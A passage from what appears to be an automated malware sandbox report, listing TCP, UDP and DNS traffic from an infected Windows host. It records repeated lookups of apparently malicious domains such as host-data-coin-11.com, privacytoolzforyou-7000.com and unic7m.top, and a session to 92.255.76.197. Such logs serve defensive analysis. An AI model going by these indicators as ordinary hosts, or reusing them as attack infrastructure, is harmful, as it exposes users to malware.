Dec 1, 2021 09:15:23.088795900 CET	49832	443	192.168.2.4	162.159.130.233
Dec 1, 2021 09:15:23.204380989 CET	49830	38637	192.168.2.4	92.255.76.197
Dec 1, 2021 09:15:23.325647116 CET	38637	49830	92.255.76.197	192.168.2.4
Dec 1, 2021 09:15:23.754852057 CET	38637	49830	92.255.76.197	192.168.2.4
Dec 1, 2021 09:15:23.755203009 CET	49830	38637	192.168.2.4	92.255.76.197
Dec 1, 2021 09:15:23.857507944 CET	38637	49830	92.255.76.197	192.168.2.4
Dec 1, 2021 09:15:24.350169897 CET	38637	49830	92.255.76.197	192.168.2.4
Dec 1, 2021 09:15:24.358041048 CET	49830	38637	192.168.2.4	92.255.76.197
Dec 1, 2021 09:15:24.427445889 CET	38637	49830	92.255.76.197	192.168.2.4
Dec 1, 2021 09:15:24.507679939 CET	49830	38637	192.168.2.4	92.255.76.197
Dec 1, 2021 09:15:24.558336973 CET	49830	38637	192.168.2.4	92.255.76.197

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 1, 2021 09:13:54.942939997 CET	49257	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:13:55.257476091 CET	53	49257	8.8.8.8	192.168.2.4
Dec 1, 2021 09:13:55.441382885 CET	62389	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:13:55.461035013 CET	53	62389	8.8.8.8	192.168.2.4
Dec 1, 2021 09:13:55.642508030 CET	49910	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:13:55.969400883 CET	53	49910	8.8.8.8	192.168.2.4
Dec 1, 2021 09:13:56.138216019 CET	55854	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:13:56.157601118 CET	53	55854	8.8.8.8	192.168.2.4
Dec 1, 2021 09:13:56.328397989 CET	64549	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:13:56.616105080 CET	53	64549	8.8.8.8	192.168.2.4
Dec 1, 2021 09:13:56.804387093 CET	63153	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:13:56.823924065 CET	53	63153	8.8.8.8	192.168.2.4
Dec 1, 2021 09:13:57.008013010 CET	52991	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:13:57.316086054 CET	53	52991	8.8.8.8	192.168.2.4
Dec 1, 2021 09:13:59.754924059 CET	53700	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:00.066504002 CET	53	53700	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:00.303432941 CET	51726	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:00.588979959 CET	53	51726	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:00.766045094 CET	56794	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:00.785895109 CET	53	56794	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:00.972630978 CET	56534	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:00.995793104 CET	53	56534	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:02.441530943 CET	56627	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:02.461729050 CET	53	56627	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:02.633739948 CET	56621	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:02.651237965 CET	53	56621	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:02.823123932 CET	63116	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:03.133440971 CET	53	63116	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:03.471854925 CET	64078	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:03.491854906 CET	53	64078	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:03.716103077 CET	64801	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:03.733761072 CET	53	64801	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:04.363066912 CET	61721	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:04.381115913 CET	53	61721	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:04.551676035 CET	51255	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:04.572211981 CET	53	51255	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:05.952857971 CET	61522	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:05.972352982 CET	53	61522	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:06.145644903 CET	52337	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:06.165329933 CET	53	52337	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:06.346781969 CET	55046	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:06.366596937 CET	53	55046	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:06.539828062 CET	49612	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:06.827913046 CET	53	49612	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:09.501684904 CET	49285	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:09.521253109 CET	53	49285	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:09.693345070 CET	50601	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:09.711407900 CET	53	50601	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:09.912483931 CET	60875	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:09.932312965 CET	53	60875	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:10.099549055 CET	56448	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:10.119246006 CET	53	56448	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:10.330440998 CET	59172	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:10.350357056 CET	53	59172	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:12.538619041 CET	62420	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:12.558250904 CET	53	62420	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:12.734312057 CET	60579	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:12.752151012 CET	53	60579	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:12.921072960 CET	50183	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:12.940529108 CET	53	50183	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:13.194108963 CET	61531	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:13.212126017 CET	53	61531	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:13.424535990 CET	49228	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:13.746201038 CET	53	49228	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:16.784393072 CET	59794	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:16.803610086 CET	53	59794	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:17.021230936 CET	55916	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:17.041070938 CET	53	55916	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:17.529195070 CET	52752	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:17.547084093 CET	53	52752	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:17.809986115 CET	60542	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:17.829583883 CET	53	60542	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:18.067924023 CET	60689	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:18.087007999 CET	53	60689	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:18.246855974 CET	64206	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:18.266704082 CET	53	64206	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:18.508083105 CET	50904	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:18.823520899 CET	53	50904	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:19.532625914 CET	57525	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:19.821194887 CET	53	57525	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:26.144610882 CET	53814	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:26.432487965 CET	53	53814	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:26.603894949 CET	53418	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:26.621478081 CET	53	53418	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:26.859071970 CET	62833	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:26.878792048 CET	53	62833	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:27.050990105 CET	59260	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:27.087215900 CET	53	59260	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:27.351658106 CET	49944	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:27.370862007 CET	53	49944	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:27.552272081 CET	63300	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:27.572081089 CET	53	63300	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:27.828942060 CET	61449	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:27.848443031 CET	53	61449	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:28.056879997 CET	51275	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:28.076781034 CET	53	51275	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:32.404804945 CET	58945	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:32.424825907 CET	53	58945	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:32.684566021 CET	60779	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:32.704303980 CET	53	60779	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:32.937783003 CET	64014	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:32.957524061 CET	53	64014	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:33.147651911 CET	57091	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:33.167165041 CET	53	57091	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:33.337136984 CET	55904	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:33.356935978 CET	53	55904	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:33.532188892 CET	52109	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:33.848562956 CET	53	52109	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:34.032916069 CET	54450	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:34.053011894 CET	53	54450	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:34.226881981 CET	49374	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:34.246054888 CET	53	49374	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:34.475718975 CET	50436	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:34.494960070 CET	53	50436	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:34.666623116 CET	62605	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:34.686779022 CET	53	62605	8.8.8.8	192.168.2.4
Dec 1, 2021 09:14:34.856899977 CET	54256	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:14:34.874905109 CET	53	54256	8.8.8.8	192.168.2.4
Dec 1, 2021 09:15:22.722491026 CET	62992	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:15:22.740073919 CET	53	62992	8.8.8.8	192.168.2.4
Dec 1, 2021 09:15:28.530594110 CET	58383	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:15:28.607682943 CET	53	58383	8.8.8.8	192.168.2.4
Dec 1, 2021 09:15:32.429128885 CET	63409	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:15:32.448966980 CET	53	63409	8.8.8.8	192.168.2.4
Dec 1, 2021 09:15:34.813688040 CET	55601	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:15:34.920037985 CET	53	55601	8.8.8.8	192.168.2.4
Dec 1, 2021 09:15:38.721261978 CET	52984	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:15:38.836749077 CET	53	52984	8.8.8.8	192.168.2.4
Dec 1, 2021 09:15:42.748756886 CET	51141	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:15:42.855458975 CET	53	51141	8.8.8.8	192.168.2.4
Dec 1, 2021 09:15:46.765213966 CET	53610	53	192.168.2.4	8.8.8.8
Dec 1, 2021 09:15:46.783274889 CET	53	53610	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Dec 1, 2021 09:13:54.942939997 CET	192.168.2.4	8.8.8.8	0x6aa1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:13:55.441382885 CET	192.168.2.4	8.8.8.8	0xa429	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:13:55.642508030 CET	192.168.2.4	8.8.8.8	0xc6b7	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:13:56.138216019 CET	192.168.2.4	8.8.8.8	0x54e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:13:56.328397989 CET	192.168.2.4	8.8.8.8	0xcee8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:13:56.804387093 CET	192.168.2.4	8.8.8.8	0xba8a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:13:57.008013010 CET	192.168.2.4	8.8.8.8	0x8eeb	Standard query (0)	host-file-host-3.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:13:59.754924059 CET	192.168.2.4	8.8.8.8	0x3ae	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:00.303432941 CET	192.168.2.4	8.8.8.8	0xd3b8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:00.766045094 CET	192.168.2.4	8.8.8.8	0x489d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:00.972630978 CET	192.168.2.4	8.8.8.8	0x57f4	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:02.441530943 CET	192.168.2.4	8.8.8.8	0xcd5e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:02.633739948 CET	192.168.2.4	8.8.8.8	0xe5f2	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:02.823123932 CET	192.168.2.4	8.8.8.8	0x306d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:03.471854925 CET	192.168.2.4	8.8.8.8	0x8e30	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:03.716103077 CET	192.168.2.4	8.8.8.8	0xa14c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:04.363066912 CET	192.168.2.4	8.8.8.8	0x4617	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:04.551676035 CET	192.168.2.4	8.8.8.8	0x137b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:05.952857971 CET	192.168.2.4	8.8.8.8	0x1ed6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:06.145644903 CET	192.168.2.4	8.8.8.8	0x4102	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:06.346781969 CET	192.168.2.4	8.8.8.8	0x56d0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:06.539828062 CET	192.168.2.4	8.8.8.8	0x2116	Standard query (0)	host-file-host-3.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:09.501684904 CET	192.168.2.4	8.8.8.8	0x257e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:09.693345070 CET	192.168.2.4	8.8.8.8	0xcd22	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:09.912483931 CET	192.168.2.4	8.8.8.8	0xe90f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:10.099549055 CET	192.168.2.4	8.8.8.8	0x5d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:10.330440998 CET	192.168.2.4	8.8.8.8	0xd659	Standard query (0)	host-file-host-3.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:12.538619041 CET	192.168.2.4	8.8.8.8	0xc7b8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:12.734312057 CET	192.168.2.4	8.8.8.8	0xf8d1	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:12.921072960 CET	192.168.2.4	8.8.8.8	0xcb7	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:13.194108963 CET	192.168.2.4	8.8.8.8	0x17fb	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:13.424535990 CET	192.168.2.4	8.8.8.8	0x7729	Standard query (0)	privacytoolzforyou-7000.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:16.784393072 CET	192.168.2.4	8.8.8.8	0x79d6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:17.021230936 CET	192.168.2.4	8.8.8.8	0x5b4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:17.529195070 CET	192.168.2.4	8.8.8.8	0xa2fc	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:17.809986115 CET	192.168.2.4	8.8.8.8	0xf396	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:18.067924023 CET	192.168.2.4	8.8.8.8	0xe60d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:18.246855974 CET	192.168.2.4	8.8.8.8	0xefba	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:18.508083105 CET	192.168.2.4	8.8.8.8	0x8b16	Standard query (0)	host-file-host-3.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:19.532625914 CET	192.168.2.4	8.8.8.8	0xca4b	Standard query (0)	file-file-host4.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:26.144610882 CET	192.168.2.4	8.8.8.8	0x9ce9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:26.603894949 CET	192.168.2.4	8.8.8.8	0x83ac	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:26.859071970 CET	192.168.2.4	8.8.8.8	0x1eb9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:27.050990105 CET	192.168.2.4	8.8.8.8	0x5e3c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:27.351658106 CET	192.168.2.4	8.8.8.8	0x94ce	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:27.552272081 CET	192.168.2.4	8.8.8.8	0xdf6b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:27.828942060 CET	192.168.2.4	8.8.8.8	0x2089	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:28.056879997 CET	192.168.2.4	8.8.8.8	0xb273	Standard query (0)	host-file-host-3.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:32.404804945 CET	192.168.2.4	8.8.8.8	0x6232	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:32.684566021 CET	192.168.2.4	8.8.8.8	0xad1f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:32.937783003 CET	192.168.2.4	8.8.8.8	0xb0c8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:33.147651911 CET	192.168.2.4	8.8.8.8	0xd15c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:33.337136984 CET	192.168.2.4	8.8.8.8	0xd2fe	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:33.532188892 CET	192.168.2.4	8.8.8.8	0x336b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:34.032916069 CET	192.168.2.4	8.8.8.8	0xc2c5	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:34.226881981 CET	192.168.2.4	8.8.8.8	0x3bfc	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:34.475718975 CET	192.168.2.4	8.8.8.8	0x6f04	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:34.666623116 CET	192.168.2.4	8.8.8.8	0x4d5f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:34.856899977 CET	192.168.2.4	8.8.8.8	0xd304	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:15:22.722491026 CET	192.168.2.4	8.8.8.8	0xd1c4	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:15:28.530594110 CET	192.168.2.4	8.8.8.8	0xbb3	Standard query (0)	qo.ckauni.ru	A (IP address)	IN (0x0001)
Dec 1, 2021 09:15:32.429128885 CET	192.168.2.4	8.8.8.8	0x1e35	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Dec 1, 2021 09:15:34.813688040 CET	192.168.2.4	8.8.8.8	0xe8e8	Standard query (0)	unic7m.top	A (IP address)	IN (0x0001)
Dec 1, 2021 09:15:38.721261978 CET	192.168.2.4	8.8.8.8	0xe102	Standard query (0)	unic7m.top	A (IP address)	IN (0x0001)
Dec 1, 2021 09:15:42.748756886 CET	192.168.2.4	8.8.8.8	0xe293	Standard query (0)	unic7m.top	A (IP address)	IN (0x0001)
Dec 1, 2021 09:15:46.765213966 CET	192.168.2.4	8.8.8.8	0xdee9	Standard query (0)	unic7m.top	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Dec 1, 2021 09:13:55.257476091 CET	8.8.8.8	192.168.2.4	0x6aa1	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:13:55.461035013 CET	8.8.8.8	192.168.2.4	0xa429	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:13:55.969400883 CET	8.8.8.8	192.168.2.4	0xc6b7	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:13:56.157601118 CET	8.8.8.8	192.168.2.4	0x54e	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:13:56.616105080 CET	8.8.8.8	192.168.2.4	0xcee8	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:13:56.823924065 CET	8.8.8.8	192.168.2.4	0xba8a	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:13:57.316086054 CET	8.8.8.8	192.168.2.4	0x8eeb	No error (0)	host-file-host-3.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:00.066504002 CET	8.8.8.8	192.168.2.4	0x3ae	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:00.588979959 CET	8.8.8.8	192.168.2.4	0xd3b8	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:00.785895109 CET	8.8.8.8	192.168.2.4	0x489d	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:00.995793104 CET	8.8.8.8	192.168.2.4	0x57f4	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:00.995793104 CET	8.8.8.8	192.168.2.4	0x57f4	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:00.995793104 CET	8.8.8.8	192.168.2.4	0x57f4	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:00.995793104 CET	8.8.8.8	192.168.2.4	0x57f4	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:00.995793104 CET	8.8.8.8	192.168.2.4	0x57f4	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:02.461729050 CET	8.8.8.8	192.168.2.4	0xcd5e	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:02.651237965 CET	8.8.8.8	192.168.2.4	0xe5f2	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:03.133440971 CET	8.8.8.8	192.168.2.4	0x306d	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:03.491854906 CET	8.8.8.8	192.168.2.4	0x8e30	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:03.733761072 CET	8.8.8.8	192.168.2.4	0xa14c	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:04.381115913 CET	8.8.8.8	192.168.2.4	0x4617	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:04.572211981 CET	8.8.8.8	192.168.2.4	0x137b	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:05.972352982 CET	8.8.8.8	192.168.2.4	0x1ed6	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:06.165329933 CET	8.8.8.8	192.168.2.4	0x4102	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:06.366596937 CET	8.8.8.8	192.168.2.4	0x56d0	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:06.827913046 CET	8.8.8.8	192.168.2.4	0x2116	No error (0)	host-file-host-3.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:09.521253109 CET	8.8.8.8	192.168.2.4	0x257e	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:09.711407900 CET	8.8.8.8	192.168.2.4	0xcd22	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:09.932312965 CET	8.8.8.8	192.168.2.4	0xe90f	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:10.119246006 CET	8.8.8.8	192.168.2.4	0x5d	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:10.350357056 CET	8.8.8.8	192.168.2.4	0xd659	No error (0)	host-file-host-3.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:12.558250904 CET	8.8.8.8	192.168.2.4	0xc7b8	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:12.752151012 CET	8.8.8.8	192.168.2.4	0xf8d1	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:12.940529108 CET	8.8.8.8	192.168.2.4	0xcb7	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:13.212126017 CET	8.8.8.8	192.168.2.4	0x17fb	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:13.746201038 CET	8.8.8.8	192.168.2.4	0x7729	No error (0)	privacytoolzforyou-7000.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:16.803610086 CET	8.8.8.8	192.168.2.4	0x79d6	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
Dec 1, 2021 09:14:17.041070938 CET	8.8.8.8	192.168.2.4	0x5b4	No error (0)	host-data-coin-11.com		95.213.165.249	A (IP address)	IN (0x0001)
